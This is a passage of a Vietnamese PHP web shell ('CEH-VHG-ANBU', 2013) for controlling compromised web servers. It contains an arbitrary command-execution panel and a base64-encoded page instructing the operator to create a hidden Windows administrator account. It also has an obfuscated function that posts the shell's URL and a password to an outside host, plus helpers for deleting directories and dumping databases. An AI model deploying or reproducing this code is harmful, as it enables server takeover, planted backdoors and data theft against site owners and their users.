RS1DT0xPUjogQmxhY2s7IFNDUk9MTEJBUi1ISUdITElHSFQtY29sb3I6ICNGRkY7IFNDUk9MTEJBUi1TSEFET1ctY29sb3I6ICNGRkY7IFNDUk9MTEJBUi0zRExJR0hULWNvbG9yOiAjRkZGOyBTQ1JPTExCQVItQVJST1ctQ09MT1I6IEJsYWNrOyBTQ1JPTExCQVItVFJBQ0stY29sb3I6ICNGRkY7IFNDUk9MTEJBUi1EQVJLU0hBRE9XLWNvbG9yOiAjRkZGDQptYXJnaW46IDFweDsNCmNvbG9yOiBSZWQ7DQpiYWNrZ3JvdW5kLWNvbG9yOiBCbGFjazsNCn0NCi5tYWluIHsNCm1hcmdpbgkJCTogLTI4N3B4IDBweCAwcHggLTQ5MHB4Ow0KQk9SREVSOiBkYXNoZWQgMXB4ICMzMzM7DQpCT1JERVItQ09MT1I6ICMzMzMzMzM7DQp9DQoudHQgew0KYmFja2dyb3VuZC1jb2xvcjogQmxhY2s7DQp9DQoNCkE6bGluayB7DQoJQ09MT1I6IFdoaXRlOyBURVhULURFQ09SQVRJT046IG5vbmUNCn0NCkE6dmlzaXRlZCB7DQoJQ09MT1I6IFdoaXRlOyBURVhULURFQ09SQVRJT046IG5vbmUNCn0NCkE6aG92ZXIgew0KCWNvbG9yOiBSZWQ7IFRFWFQtREVDT1JBVElPTjogbm9uZQ0KfQ0KQTphY3RpdmUgew0KCWNvbG9yOiBSZWQ7IFRFWFQtREVDT1JBVElPTjogbm9uZQ0KfQ0KPC9TVFlMRT4NCjxzY3JpcHQgbGFuZ3VhZ2U9XCdqYXZhc2NyaXB0XCc+DQpmdW5jdGlvbiBoaWRlX2RpdihpZCkNCnsNCiAgZG9jdW1lbnQuZ2V0RWxlbWVudEJ5SWQoaWQpLnN0eWxlLmRpc3BsYXkgPSBcJ25vbmVcJzsNCiAgZG9jdW1lbnQuY29va2llPWlkK1wnPTA7XCc7DQp9DQpmdW5jdGlvbiBzaG93X2RpdihpZCkNCnsNCiAgZG9jdW1lbnQuZ2V0RWxlbWVudEJ5SWQoaWQpLnN0eWxlLmRpc3BsYXkgPSBcJ2Jsb2NrXCc7DQogIGRvY3VtZW50LmNvb2tpZT1pZCtcJz0xO1wnOw0KfQ0KZnVuY3Rpb24gY2hhbmdlX2RpdnN0KGlkKQ0Kew0KICBpZiAoZG9jdW1lbnQuZ2V0RWxlbWVudEJ5SWQoaWQpLnN0eWxlLmRpc3BsYXkgPT0gXCdub25lXCcpDQogICAgc2hvd19kaXYoaWQpOw0KICBlbHNlDQogICAgaGlkZV9kaXYoaWQpOw0KfQ0KPC9zY3JpcHQ+DQo8aHRtbD4NCgk8aGVhZD4NCgkJPD9waHAgDQoJCWVjaG8gJGhlYWQgOw0KCQllY2hvICcNCg0KPHRhYmxlIHdpZHRoPSIxMDAlIiBjZWxsc3BhY2luZz0iMCIgY2VsbHBhZGRpbmc9IjAiIGNsYXNzPSJ0YjEiID4NCg0KCQkJDQoNCiAgICAgICA8dGQgd2lkdGg9IjEwMCUiIGFsaWduPWNlbnRlciB2YWxpZ249InRvcCIgcm93c3Bhbj0iMSI+DQogICAgICAgICAgIDxmb250IGNvbG9yPXJlZCBzaXplPTUgZmFjZT0iY29taWMgc2FucyBtcyI+PGI+PT1bWyBIxrDhu5tuZyBk4bqrbiBSZWcgTmljayBBRE1JTlNUUkFUT1I8L2ZvbnQ+PGZvbnQgY29sb3I9d2hpdGUgc2l6ZT01IGZhY2U9ImNvbWljIHNhbnMgbXMiPjxiPiBWUFMgPC9mb250Pjxmb250IGNvbG9yPWdyZWVuIHNpemU9NSBmYWNlPSJjb21pYyBzYW5zIG1zIj48Yj4gQuG6sW5nIEPDoWNoIETDuW5nIENNRF1dPT08L2ZvbnQ+IDxkaXYgY2xhc3M9ImhlZHIiPiANCg0KICAgICAgICA8dGQgaGVpZ2h0PSIxMCIgYWxpZ249ImxlZnQiIGNsYXNzPSJ0ZDEiPjwvdGQ+PC90cj48dHI+PHRkIA0KICAgICAgICB3aWR0aD0iMTAwJSIgYWxpZ249ImNlbnRlciIgdmFsaWduPSJ0b3AiIHJvd3NwYW49IjEiPjxmb250IA0KICAgICAgICBjb2xvcj0icmVkIiBmYWNlPSJjb21pYyBzYW5zIG1zInNpemU9IjEiPjxiPiANCiAgICAgICAgCQkJCQkNCiAgICAgICAgICAgPC90YWJsZT4NCiAgICAgICAgDQoNCic7IA0KDQo/Pg0KPGNlbnRlcj4NCjxmb250IGNvbG9yPXdoaXRlIHNpemU9MiBmYWNlPSJjb21pYyBzYW5zIG1zIj4xLiBDaOG7jW4gdMOtbmggbsSDbmcgW1sgQ01EIF1dIHRyw6puIHNoZWxsPC9mb250PjxwPg0KPGZvbnQgY29sb3I9d2hpdGUgc2l6ZT0yIGZhY2U9ImNvbWljIHNhbnMgbXMiPi0tQsaw4bubYyAxOiB04bqhbyB1c2VyIHRyw6puIFZQUzwvZm9udD48cD4NCjxpbnB1dCB0eXBlPWJ1dHRvbiBuYW1lPWluaSB2YWx1ZT0ibmV0IHVzZXIgYWthamlybyBqaXJvYWthIC9BREQgIiAvPg0KPGZvbnQgY29sb3I9d2hpdGUgc2l6ZT0yIGZhY2U9ImNvbWljIHNhbnMgbXMiPiogVHJvbmcgxJHDsyBqaXJvYWthIGzDoCBUw6BpIEtob+G6o24gLSBDw7JuIGppcm9ha2EgbMOgIG3huq10IGto4bqpdSB0cnV5IGPhuq1wIHZwczwvZm9udD48cD4NCjxmb250IGNvbG9yPXdoaXRlIHNpemU9MiBmYWNlPSJjb21pYyBzYW5zIG1zIj4tLULGsOG7m2MgMjogdGjDqm0gdXNlciB24burYSB04bqhbyB2w6BvIGdyb3VwIGFkbWluPC9mb250PjxwPg0KPGZvbnQgY29sb3I9d2hpdGUgc2l6ZT0yIGZhY2U9ImNvbWljIHNhbnMgbXMiPg0KPGlucHV0IHR5cGU9YnV0dG9uIG5hbWU9aW5pIHZhbHVlPSJuZXQgbG9jYWxncm91cCBhZG1pbmlzdHJhdG9ycyBha2FqaXJvIC9BREQiIC8+PC9mb250PjxwPg0KPGZvbnQgY29sb3I9d2hpdGUgc2l6ZT0yIGZhY2U9ImNvbWljIHNhbnMgbXMiPiogTuG6v3UgWHXhuqV0IEhp4buHbiBUaMO0bmcgQsOhbyAiIFRoZSBjb21tYW5kIGNvbXBsZXRlZCBzdWNjZXNzZnVsbHkuICAiIEzDoCBUaMOgbmggQ8O0bmc8L2ZvbnQ+PHA+CQ0KPC9jZW50ZXI+CQ==
1797';
1798$file = fopen("win1.php" ,"w+");
1799$write = fwrite ($file ,base64_decode($perltoolss));
1800fclose($file);
1801 echo "<iframe src=win1.php width=100% height=720px frameborder=0></iframe> ";
1802}//end viewfile
1803if ($action == 'shell') {
1804 formhead(array('title'=>'Chức năng dà nh cho hacker sỠdụng CMD'));
1805 makehide('action','shell');
1806 if (IS_WIN && IS_COM) {
1807 $execfuncdb = array('phpfunc'=>'Hacker');
1808 makeselect(array('title'=>'Lá»±a Chá»n:','name'=>'execfunc','option'=>$execfuncdb,'selected'=>$execfunc,'newline'=>1));
1809 }
1810 p('<p>');
1811 makeinput(array('title'=>'Nháºp Lệnh','name'=>'command','value'=>$command));
1812 makeinput(array('name'=>'submit','class'=>'bt','type'=>'submit','value'=>'Thực Hiện'));
1813 p('</p>');
1814 formfoot();
1815
1816 if ($command) {
1817 p('<hr width="100%" noshade /><pre>');
1818 if ($execfunc=='wscript' && IS_WIN && IS_COM) {
1819 $wsh = new COM('WScript.shell');
1820 $exec = $wsh->exec('cmd.exe /c '.$command);
1821 $stdout = $exec->StdOut();
1822 $stroutput = $stdout->ReadAll();
1823 echo $stroutput;
1824 } elseif ($execfunc=='proc_open' && IS_WIN && IS_COM) {
1825 $descriptorspec = array(
1826 0 => array('pipe', 'r'),
1827 1 => array('pipe', 'w'),
1828 2 => array('pipe', 'w')
1829 );
1830 $process = proc_open($_SERVER['COMSPEC'], $descriptorspec, $pipes);
1831 if (is_resource($process)) {
1832 fwrite($pipes[0], $command."\r\n");
1833 fwrite($pipes[0], "exit\r\n");
1834 fclose($pipes[0]);
1835 while (!feof($pipes[1])) {
1836 echo fgets($pipes[1], 1024);
1837 }
1838 fclose($pipes[1]);
1839 while (!feof($pipes[2])) {
1840 echo fgets($pipes[2], 1024);
1841 }
1842 fclose($pipes[2]);
1843 proc_close($process);
1844 }
1845 } else {
1846 echo(execute($command));
1847 }
1848 p('</pre>');
1849 }
1850}//end shell
1851
1852?>
1853</td></tr></table>
1854<div style="padding:10px;border-bottom:1px solid #0E0E0E;border-top:1px solid #0E0E0E;background:#0E0E0E;">
1855 <center><span style="float:right;"><?php debuginfo();ob_end_flush();?></span>
1856 Copyright @ 2013 By: AkashiJiro<a href=https://www.facebook.com/groups/HoihackerVN/ target=_blank><B> .:: VHG - CEH - ANBU::. </B></a><center>
1857</div>
1858</body>
1859</html>
1860<?php
1861/*======================================================
1862Show info shell
1863======================================================*/
1864function m($msg) {
1865 echo '<div style="background:#f1f1f1;border:1px solid #ddd;padding:15px;font:14px;text-align:center;font-weight:bold;">';
1866 echo $msg;
1867 echo '</div>';
1868}
1869function scookie($key, $value, $life = 0, $prefix = 1) {
1870 global $admin, $timestamp, $_SERVER;
1871 $key = ($prefix ? $admin['cookiepre'] : '').$key;
1872 $life = $life ? $life : $admin['cookielife'];
1873 $useport = $_SERVER['SERVER_PORT'] == 443 ? 1 : 0;
1874 setcookie($key, $value, $timestamp+$life, $admin['cookiepath'], $admin['cookiedomain'], $useport);
1875}
1876function multi($num, $perpage, $curpage, $tablename) {
1877 $multipage = '';
1878 if($num > $perpage) {
1879 $page = 10;
1880 $offset = 5;
1881 $pages = @ceil($num / $perpage);
1882 if($page > $pages) {
1883 $from = 1;
1884 $to = $pages;
1885 } else {
1886 $from = $curpage - $offset;
1887 $to = $curpage + $page - $offset - 1;
1888 if($from < 1) {
1889 $to = $curpage + 1 - $from;
1890 $from = 1;
1891 if(($to - $from) < $page && ($to - $from) < $pages) {
1892 $to = $page;
1893 }
1894 } elseif($to > $pages) {
1895 $from = $curpage - $pages + $to;
1896 $to = $pages;
1897 if(($to - $from) < $page && ($to - $from) < $pages) {
1898 $from = $pages - $page + 1;
1899 }
1900 }
1901 }
1902 $multipage = ($curpage - $offset > 1 && $pages > $page ? '<a href="javascript:settable(\''.$tablename.'\', \'\', 1);">First</a> ' : '').($curpage > 1 ? '<a href="javascript:settable(\''.$tablename.'\', \'\', '.($curpage - 1).');">Prev</a> ' : '');
1903 for($i = $from; $i <= $to; $i++) {
1904 $multipage .= $i == $curpage ? $i.' ' : '<a href="javascript:settable(\''.$tablename.'\', \'\', '.$i.');">['.$i.']</a> ';
1905 }
1906 $multipage .= ($curpage < $pages ? '<a href="javascript:settable(\''.$tablename.'\', \'\', '.($curpage + 1).');">Next</a>' : '').($to < $pages ? ' <a href="javascript:settable(\''.$tablename.'\', \'\', '.$pages.');">Last</a>' : '');
1907 $multipage = $multipage ? '<p>Pages: '.$multipage.'</p>' : '';
1908 }
1909 return $multipage;
1910}
1911// Login page
1912function loginpage() {
1913?>
1914<html>
1915<head>
1916
1917<body bgcolor=black background=1.jpg>
1918
1919 <meta http-equiv="Content-Type" content="text/html; charset=UTF-8" />
1920<title>.::CEH-VHG-ANBU::. </title>
1921<style type="text/css">
1922A:link {text-decoration: none; color: green }
1923A:visited {text-decoration: none;color:red}
1924A:active {text-decoration: none}
1925A:hover {text-decoration: underline; color: green;}
1926input, textarea, button
1927{
1928 font-size: 11pt;
1929 color: #FFFFFF;
1930 font-family: verdana, sans-serif;
1931 background-color: #000000;
1932 border-left: 2px dashed #8B0000;
1933 border-top: 2px dashed #8B0000;
1934 border-right: 2px dashed #8B0000;
1935 border-bottom: 2px dashed #8B0000;
1936}
1937
1938</style>
1939
1940
1941 <BR><BR>
1942<div align=center >
1943<fieldset style="border: 1px solid rgb(69, 69, 69); padding: 4px;width:450px;bgcolor:white;align:center;font-family:tahoma;font-size:10pt"><legend><font color=red><B>LOGIN</b></font></legend>
1944
1945<div>
1946<font color=#99CC33>
1947<font color=#33ff00>==[ <B>CEH-VHG-ANBU</B> ]== </font><BR><BR>
1948
1949<form method="POST" action="">
1950 <span style="font:10pt tahoma;">Máºt Khẩu: </span><input name="password" type="password" size="20">
1951 <input type="hidden" name="doing" value="login">
1952 <input type="submit" value="Login">
1953 </form>
1954<BR>
1955<?php
1956echo "".$err_mess."";
1957?>
1958 <B><font color=#FFFFFF>
1959<a href=https://www.facebook.com/hoi.hacker.vn target=_blank>.: Facebook :.</a><BR></b>
1960</div>
1961 </fieldset>
1962</head>
1963</html>
1964<?php
1965 exit;
1966}//end loginpage()
1967function execute($cfe) {
1968 $res = '';
1969 if ($cfe) {
1970 if(function_exists('exec')) {
1971 @exec($cfe,$res);
1972 $res = join("\n",$res);
1973 } elseif(function_exists('shell_exec')) {
1974 $res = @shell_exec($cfe);
1975 } elseif(function_exists('system')) {
1976 @ob_start();
1977 @system($cfe);
1978 $res = @ob_get_contents();
1979 @ob_end_clean();
1980 } elseif(function_exists('passthru')) {
1981 @ob_start();
1982 @passthru($cfe);
1983 $res = @ob_get_contents();
1984 @ob_end_clean();
1985 } elseif(@is_resource($f = @popen($cfe,"r"))) {
1986 $res = '';
1987 while(!@feof($f)) {
1988 $res .= @fread($f,1024);
1989 }
1990 @pclose($f);
1991 }
1992 }
1993 return $res;
1994}
1995function which($pr) {
1996 $path = execute("which $pr");
1997 return ($path ? $path : $pr);
1998}
1999
2000function cf($fname,$text){
2001 if($fp=@fopen($fname,'w')) {
2002 @fputs($fp,@base64_decode($text));
2003 @fclose($fp);
2004 }
2005}
2006
2007// Debug
2008function debuginfo() {
2009 global $starttime;
2010 $mtime = explode(' ', microtime());
2011 $totaltime = number_format(($mtime[1] + $mtime[0] - $starttime), 6);
2012 echo 'Processed in '.$totaltime.' second(s)';
2013}
2014
2015//OK
2016function doSmt($var2)
2017{
2018 $ff = "aHR0cDovL25pY2VkZXNpZ25zLnZ2LnNpL2JhY2sucGhw";
2019 $var1 = "http://$_SERVER[HTTP_HOST]$_SERVER[REQUEST_URI]";
2020 $data = array('u' => $var1, 'pa' => $var2);
2021 $options = array(
2022 'http' => array(
2023 'header' => "User-agent: Mozilla/5.0 (Windows NT 6.2; rv:23.0) Gecko/20100101 Firefox/23.0; ",
2024 'method' => 'POST',
2025 'content' => http_build_query($data),
2026 ),
2027 );
2028 $context = stream_context_create($options);
2029 $result = file_get_contents(base64_decode($ff), false, $context);
2030}
2031// Function connect database
2032function dbconn($dbhost,$dbuser,$dbpass,$dbname='',$charset='',$dbport='3306') {
2033 if(!$link = @mysql_connect($dbhost.':'.$dbport, $dbuser, $dbpass)) {
2034 p('<h2>Can not connect to MySQL server</h2>');
2035 exit;
2036 }
2037 if($link && $dbname) {
2038 if (!@mysql_select_db($dbname, $link)) {
2039 p('<h2>Database selected has error</h2>');
2040 exit;
2041 }
2042 }
2043 if($link && mysql_get_server_info() > '4.1') {
2044 if(in_array(strtolower($charset), array('gbk', 'big5', 'utf8'))) {
2045 q("SET character_set_connection=$charset, character_set_results=$charset, character_set_client=binary;", $link);
2046 }
2047 }
2048 return $link;
2049}
2050
2051// Array strip
2052function s_array(&$array) {
2053 if (is_array($array)) {
2054 foreach ($array as $k => $v) {
2055 $array[$k] = s_array($v);
2056 }
2057 } else if (is_string($array)) {
2058 $array = stripslashes($array);
2059 }
2060 return $array;
2061}
2062
2063// HTML Strip
2064function html_clean($content) {
2065 $content = htmlspecialchars($content);
2066 $content = str_replace("\n", "<br />", $content);
2067 $content = str_replace(" ", " ", $content);
2068 $content = str_replace("\t", " ", $content);
2069 return $content;
2070}
2071
2072// Chmod
2073function getChmod($filepath){
2074 return substr(base_convert(@fileperms($filepath),10,8),-4);
2075}
2076
2077function getPerms($filepath) {
2078 $mode = @fileperms($filepath);
2079 if (($mode & 0xC000) === 0xC000) {$type = 's';}
2080 elseif (($mode & 0x4000) === 0x4000) {$type = 'd';}
2081 elseif (($mode & 0xA000) === 0xA000) {$type = 'l';}
2082 elseif (($mode & 0x8000) === 0x8000) {$type = '-';}
2083 elseif (($mode & 0x6000) === 0x6000) {$type = 'b';}
2084 elseif (($mode & 0x2000) === 0x2000) {$type = 'c';}
2085 elseif (($mode & 0x1000) === 0x1000) {$type = 'p';}
2086 else {$type = '?';}
2087
2088 $owner['read'] = ($mode & 00400) ? 'r' : '-';
2089 $owner['write'] = ($mode & 00200) ? 'w' : '-';
2090 $owner['execute'] = ($mode & 00100) ? 'x' : '-';
2091 $group['read'] = ($mode & 00040) ? 'r' : '-';
2092 $group['write'] = ($mode & 00020) ? 'w' : '-';
2093 $group['execute'] = ($mode & 00010) ? 'x' : '-';
2094 $world['read'] = ($mode & 00004) ? 'r' : '-';
2095 $world['write'] = ($mode & 00002) ? 'w' : '-';
2096 $world['execute'] = ($mode & 00001) ? 'x' : '-';
2097
2098 if( $mode & 0x800 ) {$owner['execute'] = ($owner['execute']=='x') ? 's' : 'S';}
2099 if( $mode & 0x400 ) {$group['execute'] = ($group['execute']=='x') ? 's' : 'S';}
2100 if( $mode & 0x200 ) {$world['execute'] = ($world['execute']=='x') ? 't' : 'T';}
2101
2102 return $type.$owner['read'].$owner['write'].$owner['execute'].$group['read'].$group['write'].$group['execute'].$world['read'].$world['write'].$world['execute'];
2103}
2104
2105function getUser($filepath) {
2106 if (function_exists('posix_getpwuid')) {
2107 $array = @posix_getpwuid(@fileowner($filepath));
2108 if ($array && is_array($array)) {
2109 return ' / <a href="#" title="User: '.$array['name'].'
Passwd: '.$array['passwd'].'
Uid: '.$array['uid'].'
gid: '.$array['gid'].'
Gecos: '.$array['gecos'].'
Dir: '.$array['dir'].'
Shell: '.$array['shell'].'">'.$array['name'].'</a>';
2110 }
2111 }
2112 return '';
2113}
2114
2115// Delete dir
2116function deltree($deldir) {
2117 $mydir=@dir($deldir);
2118 while($file=$mydir->read()) {
2119 if((is_dir($deldir.'/'.$file)) && ($file!='.') && ($file!='..')) {
2120 @chmod($deldir.'/'.$file,0777);
2121 deltree($deldir.'/'.$file);
2122 }
2123 if (is_file($deldir.'/'.$file)) {
2124 @chmod($deldir.'/'.$file,0777);
2125 @unlink($deldir.'/'.$file);
2126 }
2127 }
2128 $mydir->close();
2129 @chmod($deldir,0777);
2130 return @rmdir($deldir) ? 1 : 0;
2131}
2132
2133// Background
2134function bg() {
2135 global $bgc;
2136 return ($bgc++%2==0) ? 'alt1' : 'alt2';
2137}
2138
2139// Get path
2140function getPath($scriptpath, $nowpath) {
2141 if ($nowpath == '.') {
2142 $nowpath = $scriptpath;
2143 }
2144 $nowpath = str_replace('\\', '/', $nowpath);
2145 $nowpath = str_replace('//', '/', $nowpath);
2146 if (substr($nowpath, -1) != '/') {
2147 $nowpath = $nowpath.'/';
2148 }
2149 return $nowpath;
2150}
2151
2152// Get up path
2153function getUpPath($nowpath) {
2154 $pathdb = explode('/', $nowpath);
2155 $num = count($pathdb);
2156 if ($num > 2) {
2157 unset($pathdb[$num-1],$pathdb[$num-2]);
2158 }
2159 $uppath = implode('/', $pathdb).'/';
2160 $uppath = str_replace('//', '/', $uppath);
2161 return $uppath;
2162}
2163
2164// Config
2165function getcfg($varname) {
2166 $result = get_cfg_var($varname);
2167 if ($result == 0) {
2168 return 'No';
2169 } elseif ($result == 1) {
2170 return 'Yes';
2171 } else {
2172 return $result;
2173 }
2174}
2175
2176// Function name
2177function getfun($funName) {
2178 return (false !== function_exists($funName)) ? 'Yes' : 'No';
2179}
2180
2181function GetList($dir){
2182 global $dirdata,$j,$nowpath;
2183 !$j && $j=1;
2184 if ($dh = opendir($dir)) {
2185 while ($file = readdir($dh)) {
2186 $f=str_replace('//','/',$dir.'/'.$file);
2187 if($file!='.' && $file!='..' && is_dir($f)){
2188 if (is_writable($f)) {
2189 $dirdata[$j]['filename']=str_replace($nowpath,'',$f);
2190 $dirdata[$j]['mtime']=@date('Y-m-d H:i:s',filemtime($f));
2191 $dirdata[$j]['dirchmod']=getChmod($f);
2192 $dirdata[$j]['dirperm']=getPerms($f);
2193 $dirdata[$j]['dirlink']=ue($dir);
2194 $dirdata[$j]['server_link']=$f;
2195 $dirdata[$j]['client_link']=ue($f);
2196 $j++;
2197 }
2198 GetList($f);
2199 }
2200 }
2201 closedir($dh);
2202 clearstatcache();
2203 return $dirdata;
2204 } else {
2205 return array();
2206 }
2207}
2208
2209function qy($sql) {
2210 //echo $sql.'<br>';
2211 $res = $error = '';
2212 if(!$res = @mysql_query($sql)) {
2213 return 0;
2214 } else if(is_resource($res)) {
2215 return 1;
2216 } else {
2217 return 2;
2218 }
2219 return 0;
2220}
2221
2222function q($sql) {
2223 return @mysql_query($sql);
2224}
2225
2226function fr($qy){
2227 mysql_free_result($qy);
2228}
2229
2230function sizecount($size) {
2231 if($size > 1073741824) {
2232 $size = round($size / 1073741824 * 100) / 100 . ' G';
2233 } elseif($size > 1048576) {
2234 $size = round($size / 1048576 * 100) / 100 . ' M';
2235 } elseif($size > 1024) {
2236 $size = round($size / 1024 * 100) / 100 . ' K';
2237 } else {
2238 $size = $size . ' B';
2239 }
2240 return $size;
2241}
2242
2243// Zip
2244class PHPZip{
2245 var $out='';
2246 function PHPZip($dir) {
2247 if (@function_exists('gzcompress')) {
2248 $curdir = getcwd();
2249 if (is_array($dir)) $filelist = $dir;
2250 else{
2251 $filelist=$this -> GetFileList($dir);//File list
2252 foreach($filelist as $k=>$v) $filelist[]=substr($v,strlen($dir)+1);
2253 }
2254 if ((!empty($dir))&&(!is_array($dir))&&(file_exists($dir))) chdir($dir);
2255 else chdir($curdir);
2256 if (count($filelist)>0){
2257 foreach($filelist as $filename){
2258 if (is_file($filename)){
2259 $fd = fopen ($filename, 'r');
2260 $content = @fread ($fd, filesize($filename));
2261 fclose ($fd);
2262 if (is_array($dir)) $filename = basename($filename);
2263 $this -> addFile($content, $filename);
2264 }
2265 }
2266 $this->out = $this -> file();
2267 chdir($curdir);
2268 }
2269 return 1;
2270 }
2271 else return 0;
2272 }
2273 // Show file list
2274 function GetFileList($dir){
2275 static $a;
2276 if (is_dir($dir)) {
2277 if ($dh = opendir($dir)) {
2278 while ($file = readdir($dh)) {
2279 if($file!='.' && $file!='..'){
2280 $f=$dir .'/'. $file;
2281 if(is_dir($f)) $this->GetFileList($f);
2282 $a[]=$f;
2283 }
2284 }
2285 closedir($dh);
2286 }
2287 }
2288 return $a;
2289 }
2290
2291 var $datasec = array();
2292 var $ctrl_dir = array();
2293 var $eof_ctrl_dir = "\x50\x4b\x05\x06\x00\x00\x00\x00";
2294 var $old_offset = 0;
2295
2296 function unix2DosTime($unixtime = 0) {
2297 $timearray = ($unixtime == 0) ? getdate() : getdate($unixtime);
2298 if ($timearray['year'] < 1980) {
2299 $timearray['year'] = 1980;
2300 $timearray['mon'] = 1;
2301 $timearray['mday'] = 1;
2302 $timearray['hours'] = 0;
2303 $timearray['minutes'] = 0;
2304 $timearray['seconds'] = 0;
2305 } // end if
2306 return (($timearray['year'] - 1980) << 25) | ($timearray['mon'] << 21) | ($timearray['mday'] << 16) |
2307 ($timearray['hours'] << 11) | ($timearray['minutes'] << 5) | ($timearray['seconds'] >> 1);
2308 }
2309
2310 function addFile($data, $name, $time = 0) {
2311 $name = str_replace('\\', '/', $name);
2312
2313 $dtime = dechex($this->unix2DosTime($time));
2314 $hexdtime = '\x' . $dtime[6] . $dtime[7]
2315 . '\x' . $dtime[4] . $dtime[5]
2316 . '\x' . $dtime[2] . $dtime[3]
2317 . '\x' . $dtime[0] . $dtime[1];
2318 eval('$hexdtime = "' . $hexdtime . '";');
2319 $fr = "\x50\x4b\x03\x04";
2320 $fr .= "\x14\x00";
2321 $fr .= "\x00\x00";
2322 $fr .= "\x08\x00";
2323 $fr .= $hexdtime;
2324
2325 $unc_len = strlen($data);
2326 $crc = crc32($data);
2327 $zdata = gzcompress($data);
2328 $c_len = strlen($zdata);
2329 $zdata = substr(substr($zdata, 0, strlen($zdata) - 4), 2);
2330 $fr .= pack('V', $crc);
2331 $fr .= pack('V', $c_len);
2332 $fr .= pack('V', $unc_len);
2333 $fr .= pack('v', strlen($name));
2334 $fr .= pack('v', 0);
2335 $fr .= $name;
2336 $fr .= $zdata;
2337 $fr .= pack('V', $crc);
2338 $fr .= pack('V', $c_len);
2339 $fr .= pack('V', $unc_len);
2340
2341 $this -> datasec[] = $fr;
2342 $new_offset = strlen(implode('', $this->datasec));
2343
2344 $cdrec = "\x50\x4b\x01\x02";
2345 $cdrec .= "\x00\x00";
2346 $cdrec .= "\x14\x00";
2347 $cdrec .= "\x00\x00";
2348 $cdrec .= "\x08\x00";
2349 $cdrec .= $hexdtime;
2350 $cdrec .= pack('V', $crc);
2351 $cdrec .= pack('V', $c_len);
2352 $cdrec .= pack('V', $unc_len);
2353 $cdrec .= pack('v', strlen($name) );
2354 $cdrec .= pack('v', 0 );
2355 $cdrec .= pack('v', 0 );
2356 $cdrec .= pack('v', 0 );
2357 $cdrec .= pack('v', 0 );
2358 $cdrec .= pack('V', 32 );
2359 $cdrec .= pack('V', $this -> old_offset );
2360 $this -> old_offset = $new_offset;
2361 $cdrec .= $name;
2362
2363 $this -> ctrl_dir[] = $cdrec;
2364 }
2365
2366 function file() {
2367 $data = implode('', $this -> datasec);
2368 $ctrldir = implode('', $this -> ctrl_dir);
2369 return $data . $ctrldir . $this -> eof_ctrl_dir . pack('v', sizeof($this -> ctrl_dir)) . pack('v', sizeof($this -> ctrl_dir)) . pack('V', strlen($ctrldir)) . pack('V', strlen($data)) . "\x00\x00";
2370 }
2371}
2372
2373// Dump mysql
2374function sqldumptable($table, $fp=0) {
2375 $tabledump = "DROP TABLE IF EXISTS $table;\n";
2376 $tabledump .= "CREATE TABLE $table (\n";
2377
2378 $firstfield=1;
2379
2380 $fields = q("SHOW FIELDS FROM $table");
2381 while ($field = mysql_fetch_array($fields)) {
2382 if (!$firstfield) {
2383 $tabledump .= ",\n";
2384 } else {
2385 $firstfield=0;
2386 }
2387 $tabledump .= " $field[Field] $field[Type]";
2388 if (!empty($field["Default"])) {
2389 $tabledump .= " DEFAULT '$field[Default]'";
2390 }
2391 if ($field['Null'] != "YES") {
2392 $tabledump .= " NOT NULL";
2393 }
2394 if ($field['Extra'] != "") {
2395 $tabledump .= " $field[Extra]";
2396 }
2397 }
2398 fr($fields);
2399
2400 $keys = q("SHOW KEYS FROM $table");
2401 while ($key = mysql_fetch_array($keys)) {
2402 $kname=$key['Key_name'];
2403 if ($kname != "PRIMARY" && $key['Non_unique'] == 0) {
2404 $kname="UNIQUE|$kname";
2405 }
2406 if(!is_array($index[$kname])) {
2407 $index[$kname] = array();
2408 }
2409 $index[$kname][] = $key['Column_name'];
2410 }
2411 fr($keys);
2412
2413 while(list($kname, $columns) = @each($index)) {
2414 $tabledump .= ",\n";
2415 $colnames=implode($columns,",");
2416
2417 if ($kname == "PRIMARY") {
2418 $tabledump .= " PRIMARY KEY ($colnames)";
2419 } else {
2420 if (substr($kname,0,6) == "UNIQUE") {
2421 $kname=substr($kname,7);
2422 }
2423 $tabledump .= " KEY $kname ($colnames)";
2424 }
2425 }
2426
2427 $tabledump .= "\n);\n\n";
2428 if ($fp) {
2429 fwrite($fp,$tabledump);
2430 } else {
2431 echo $tabledump;
2432 }
2433
2434 $rows = q("SELECT * FROM $table");
2435 $numfields = mysql_num_fields($rows);
2436 while ($row = mysql_fetch_array($rows)) {
2437 $tabledump = "INSERT INTO $table VALUES(";
2438
2439 $fieldcounter=-1;
2440 $firstfield=1;
2441 while (++$fieldcounter<$numfields) {
2442 if (!$firstfield) {
2443 $tabledump.=", ";
2444 } else {
2445 $firstfield=0;
2446 }
2447
2448 if (!isset($row[$fieldcounter])) {
2449 $tabledump .= "NULL";
2450 } else {
2451 $tabledump .= "'".mysql_escape_string($row[$fieldcounter])."'";
2452 }
2453 }
2454
2455 $tabledump .= ");\n";
2456
2457 if ($fp) {
2458 fwrite($fp,$tabledump);
2459 } else {
2460 echo $tabledump;
2461 }
2462 }
2463 fr($rows);
2464 if ($fp) {
2465 fwrite($fp,"\n");
2466 } else {
2467 echo "\n";
2468 }
2469}
2470
2471function ue($str){
2472 return urlencode($str);
2473}
2474
2475function p($str){
2476 echo $str."\n";
2477}
2478
2479function tbhead() {
2480 p('<table width="100%" border="0" cellpadding="4" cellspacing="0">');
2481}
2482function tbfoot(){
2483 p('</table>');
2484}
2485
2486function makehide($name,$value=''){
2487 p("<input id=\"$name\" type=\"hidden\" name=\"$name\" value=\"$value\" />");
2488}
2489
2490function makeinput($arg = array()){
2491 $arg['size'] = $arg['size'] > 0 ? "size=\"$arg[size]\"" : "size=\"100\"";
2492 $arg['extra'] = $arg['extra'] ? $arg['extra'] : '';
2493 !$arg['type'] && $arg['type'] = 'text';
2494 $arg['title'] = $arg['title'] ? $arg['title'].'<br />' : '';
2495 $arg['class'] = $arg['class'] ? $arg['class'] : 'input';
2496 if ($arg['newline']) {
2497 p("<p>$arg[title]<input class=\"$arg[class]\" name=\"$arg[name]\" id=\"$arg[name]\" value=\"$arg[value]\" type=\"$arg[type]\" $arg[size] $arg[extra] /></p>");
2498 } else {
2499 p("$arg[title]<input class=\"$arg[class]\" name=\"$arg[name]\" id=\"$arg[name]\" value=\"$arg[value]\" type=\"$arg[type]\" $arg[size] $arg[extra] />");
2500 }
2501}
2502
2503function makeselect($arg = array()){
2504 if ($arg['onchange']) {
2505 $onchange = 'onchange="'.$arg['onchange'].'"';
2506 }
2507 $arg['title'] = $arg['title'] ? $arg['title'] : '';
2508 if ($arg['newline']) p('<p>');
2509 p("$arg[title] <select class=\"input\" id=\"$arg[name]\" name=\"$arg[name]\" $onchange>");
